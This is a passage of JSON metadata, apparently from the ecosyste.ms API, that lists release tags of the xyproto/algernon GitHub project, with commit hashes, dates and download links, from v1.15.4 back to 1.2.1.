:"v1.15.4","sha":"7995f1328407604ca5f2837e63ec3970113c02b0","kind":"commit","published_at":"2023-10-16T14:32:51.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.4","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.4/manifests"},{"name":"v1.15.3","sha":"069528a487a68408543f8d79a28e237951324e2c","kind":"commit","published_at":"2023-08-10T06:48:34.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.3","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.3/manifests"},{"name":"v1.15.2","sha":"e234ca59e5497aaf1620e091c36e029bbba99feb","kind":"commit","published_at":"2023-06-03T12:37:01.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.2","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.2/manifests"},{"name":"v1.15.1","sha":"a759b348260c3bdc9108d73847d7d03b8f6ca2d5","kind":"commit","published_at":"2023-05-17T23:24:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.1","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.1/manifests"},{"name":"v1.15.0","sha":"111b241b0b846913d4baed026d6608917656546f","kind":"commit","published_at":"2023-05-17T17:10:36.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.15.0","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.15.0/manifests"},{"name":"v1.14.0","sha":"195ea285e297f0a3951598ebf878f1223c9fbf2d","kind":"commit","published_at":"2022-08-04T17:16:22.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.14.0","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.14.0/manifests"},{"name":"v1.13.0","sha":"9181256438b9a738127b9ac202ae03c2d8b50939","kind":"commit","published_at":"2022-05-09T22:10:30.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.13.0","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.13.0/manifests"},{"name":"1.12.14","sha":"1042f3e58174e756223df6171a04b5f15a4f37b9","kind":"commit","published_at":"2021-08-23T13:06:14.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.14","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.14/manifests"},{"name":"1.12.12","sha":"d450f658fff1bf090f71b0d41c08ab88ba53de96","kind":"commit","published_at":"2021-01-18T13:30:59.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.12","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.12/manifests"},{"name":"1.12.11","sha":"7597243ea10b8209e0a1fc0146ad7d38f5cea6b5","kind":"commit","published_at":"2021-01-02T21:41:53.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.11","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.11/manifests"},{"name":"1.12.10","sha":"f220483c72b622b93d37ab387de87b30b5a1ed62","kind":"commit","published_at":"2021-01-02T21:33:17.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.10","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.10/manifests"},{"name":"1.12.9","sha":"30cf6073be8b9a0c494a1d019e3d5c403781e5a0","kind":"commit","published_at":"2021-01-02T21:23:05.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.9","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.9/manifests"},{"name":"1.12.8","sha":"1ed620d6db3057281224a9004f974af62faf3e27","kind":"commit","published_at":"2020-06-27T19:53:57.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.8","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.8/manifests"},{"name":"1.12.7","sha":"62b9fafe2302c6739dcde1f5b6c6ffa40bd9c00e","kind":"commit","published_at":"2020-03-24T20:48:26.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.7","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.7/manifests"},{"name":"1.12.6","sha":"da249c53d427c4cde18f758b2e04ea6ce955e825","kind":"commit","published_at":"2020-01-07T14:14:59.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.6","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.6/manifests"},{"name":"1.12.5","sha":"206912d922bb8ab96e23708d1cf222d572741ebe","kind":"commit","published_at":"2019-08-22T18:11:18.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.5","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.5/manifests"},{"name":"1.12.4","sha":"fd4412ebb5a233b34073a9cebebf131ab7ee6433","kind":"commit","published_at":"2019-04-05T11:31:05.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.4","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.4/manifests"},{"name":"1.12.3","sha":"c02e3f901eb6d2c5f08e5cc5cb12af62586315b2","kind":"commit","published_at":"2019-02-19T15:14:55.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.3","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.3/manifests"},{"name":"1.12.2","sha":"4abf8d33c32ceb7d0f4af5121e882711911bc2ea","kind":"commit","published_at":"2019-01-24T20:18:59.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.2","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.2/manifests"},{"name":"1.12.1","sha":"26b9b39868ee55866e2bec551adc0627dc79d18b","kind":"commit","published_at":"2018-12-31T16:05:39.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.1/manifests"},{"name":"1.12.0-TLS-1.3","sha":"53fea61879a502b3b34518262e8272d8aedd03d8","kind":"commit","published_at":"2018-11-02T10:19:31.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.0-TLS-1.3","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.0-TLS-1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.0-TLS-1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.0-TLS-1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.0-TLS-1.3/manifests"},{"name":"1.12.0","sha":"330e7d5840fd1225c6b81f4a1af441eba1d6f31a","kind":"commit","published_at":"2018-10-31T13:15:25.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.12.0","html_url":"https://github.com/xyproto/algernon/releases/tag/1.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.12.0/manifests"},{"name":"1.11.0","sha":"5b6969fea95b3acd476bd96ff1b5f38cc09a7b8c","kind":"commit","published_at":"2018-09-12T10:10:08.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.11.0","html_url":"https://github.com/xyproto/algernon/releases/tag/1.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.11.0/manifests"},{"name":"1.10.1","sha":"caef8f687bc8558b07064eb6a9972eebfba615ca","kind":"commit","published_at":"2018-06-18T21:45:15.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.10.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.10.1/manifests"},{"name":"v1","sha":"38c3f0bfc447797a47acf5186072178052661eb5","kind":"commit","published_at":"2018-05-05T14:23:29.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1","html_url":"https://github.com/xyproto/algernon/releases/tag/v1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1/manifests"},{"name":"1.10","sha":"d718983ea2c005343d7ca3115b6a74fe7286acaa","kind":"commit","published_at":"2018-05-01T15:01:15.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.10","html_url":"https://github.com/xyproto/algernon/releases/tag/1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.10/manifests"},{"name":"1.9","sha":"7df9173a13c988f516649b8ce76a866b3f03e3ec","kind":"commit","published_at":"2018-04-05T19:57:20.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.9","html_url":"https://github.com/xyproto/algernon/releases/tag/1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.9/manifests"},{"name":"1.8","sha":"93349dfc4d3daa5351c51551e8a8b9f0633bdc90","kind":"commit","published_at":"2017-12-21T08:57:48.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.8","html_url":"https://github.com/xyproto/algernon/releases/tag/1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.8/manifests"},{"name":"1.7","sha":"3590a459f25d0659e0fcf5e7e0c41dea9e454427","kind":"commit","published_at":"2017-10-27T13:10:10.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.7","html_url":"https://github.com/xyproto/algernon/releases/tag/1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.7/manifests"},{"name":"1.6","sha":"9281665f4106b6c8938904f7ea1ff5386116ca22","kind":"commit","published_at":"2017-10-03T20:03:27.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.6","html_url":"https://github.com/xyproto/algernon/releases/tag/1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.6/manifests"},{"name":"1.5.1-static-linux64","sha":"593e714f11653c9af97eeb75073161105fe3ccd9","kind":"commit","published_at":"2017-09-03T08:17:03.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.5.1-static-linux64","html_url":"https://github.com/xyproto/algernon/releases/tag/1.5.1-static-linux64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.5.1-static-linux64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5.1-static-linux64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5.1-static-linux64/manifests"},{"name":"v1.5","sha":"4c79a60ad5b49f248122cf01764521bdcd6fe958","kind":"commit","published_at":"2017-08-12T12:56:48.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.5","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.5/manifests"},{"name":"1.5.1","sha":"8f3f0cc69bf87ce77ef78dba2957e30cf3955a90","kind":"commit","published_at":"2017-07-14T12:11:44.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.5.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5.1/manifests"},{"name":"1.5","sha":"c16eda968d5746574825c476d13831a48d55e255","kind":"commit","published_at":"2017-07-13T16:45:33.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.5","html_url":"https://github.com/xyproto/algernon/releases/tag/1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.5/manifests"},{"name":"v1.4.5-win8-64","sha":"3ffecec8aac55bf083aacac7c695cc93dc111e1b","kind":"commit","published_at":"2017-07-09T10:50:21.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.4.5-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.4.5-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.4.5-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.5-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.5-win8-64/manifests"},{"name":"1.4.5","sha":"5d09d0a1d50c6d6aaa03e8aa29c3d11d9628d002","kind":"commit","published_at":"2017-06-17T16:11:11.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4.5","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.5/manifests"},{"name":"1.4.4","sha":"90f17ca5bd36009dacc7d9012c5400c7a415541f","kind":"commit","published_at":"2017-05-31T11:49:30.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4.4","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.4/manifests"},{"name":"1.4.3","sha":"1ed7acccb2e39291b48fcf6bdcde644f54fd69b7","kind":"commit","published_at":"2017-05-26T12:05:55.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4.3","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.3/manifests"},{"name":"1.4.2","sha":"c66abb678ec5aee9fe3bb284db6afd2de05e1adf","kind":"commit","published_at":"2017-05-25T18:22:52.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4.2","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.2/manifests"},{"name":"v1.4.1-win8-64","sha":"7eddeb516cd72d4d3330a87ce8cdafbb1e12f35d","kind":"commit","published_at":"2017-04-26T13:29:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.4.1-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.4.1-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.4.1-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.1-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.1-win8-64/manifests"},{"name":"v1.4.1-rpi3","sha":"7eddeb516cd72d4d3330a87ce8cdafbb1e12f35d","kind":"commit","published_at":"2017-04-26T13:29:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.4.1-rpi3","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.4.1-rpi3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.4.1-rpi3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.1-rpi3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.4.1-rpi3/manifests"},{"name":"1.4.1","sha":"7eddeb516cd72d4d3330a87ce8cdafbb1e12f35d","kind":"commit","published_at":"2017-04-26T13:29:54.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4.1/manifests"},{"name":"1.4","sha":"60e54e6fe41a9792d1dc4f06dd15109930158d86","kind":"commit","published_at":"2017-02-12T12:31:08.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.4","html_url":"https://github.com/xyproto/algernon/releases/tag/1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.4/manifests"},{"name":"1.3.2","sha":"854ba9511f39bf7c4e2fb2eb294a7071587e7770","kind":"commit","published_at":"2017-01-03T19:54:31.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.3.2","html_url":"https://github.com/xyproto/algernon/releases/tag/1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3.2/manifests"},{"name":"1.3.1","sha":"17397f0e4e34af9e84c3b374da35f57170b56125","kind":"commit","published_at":"2016-12-10T20:21:36.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.3.1","html_url":"https://github.com/xyproto/algernon/releases/tag/1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3.1/manifests"},{"name":"1.3","sha":"824a858a4867457b41aa03c1afabe9b9f8cd39d4","kind":"commit","published_at":"2016-11-24T09:50:57.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.3","html_url":"https://github.com/xyproto/algernon/releases/tag/1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/1.3/manifests"},{"name":"v1.2.1-win8-64","sha":"8d4353378ecaf23bf1d3c69109acf77a861807c3","kind":"commit","published_at":"2016-11-02T17:12:33.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/v1.2.1-win8-64","html_url":"https://github.com/xyproto/algernon/releases/tag/v1.2.1-win8-64","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/xyproto/algernon@v1.2.1-win8-64","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.2.1-win8-64","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/xyproto%2Falgernon/tags/v1.2.1-win8-64/manifests"},{"name":"1.2.1","sha":"5ad4bcaf2e227240cf82192cb28b9464b877aabf","kind":"commit","published_at":"2016-10-14T10:13:38.000Z","download_url":"https://codeload.github.com/xyproto/algernon/tar.gz/1.2.1","html_url":"https://github.com/xyproto/algernon/